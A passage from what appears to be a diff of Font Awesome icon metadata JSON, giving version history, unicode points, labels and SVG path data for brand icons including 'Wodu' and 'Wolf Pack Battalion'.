9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z" + } + }, + "free": [ + "brands" + ] + }, + "wodu": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e088", + "label": "Wodu", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785925, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z" + } + }, + "free": [ + "brands" + ] + }, + "wolf-pack-battalion": { + "changes": [ + "5.0.12", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f514", + "label": "Wolf Pack Battalion", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775926, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 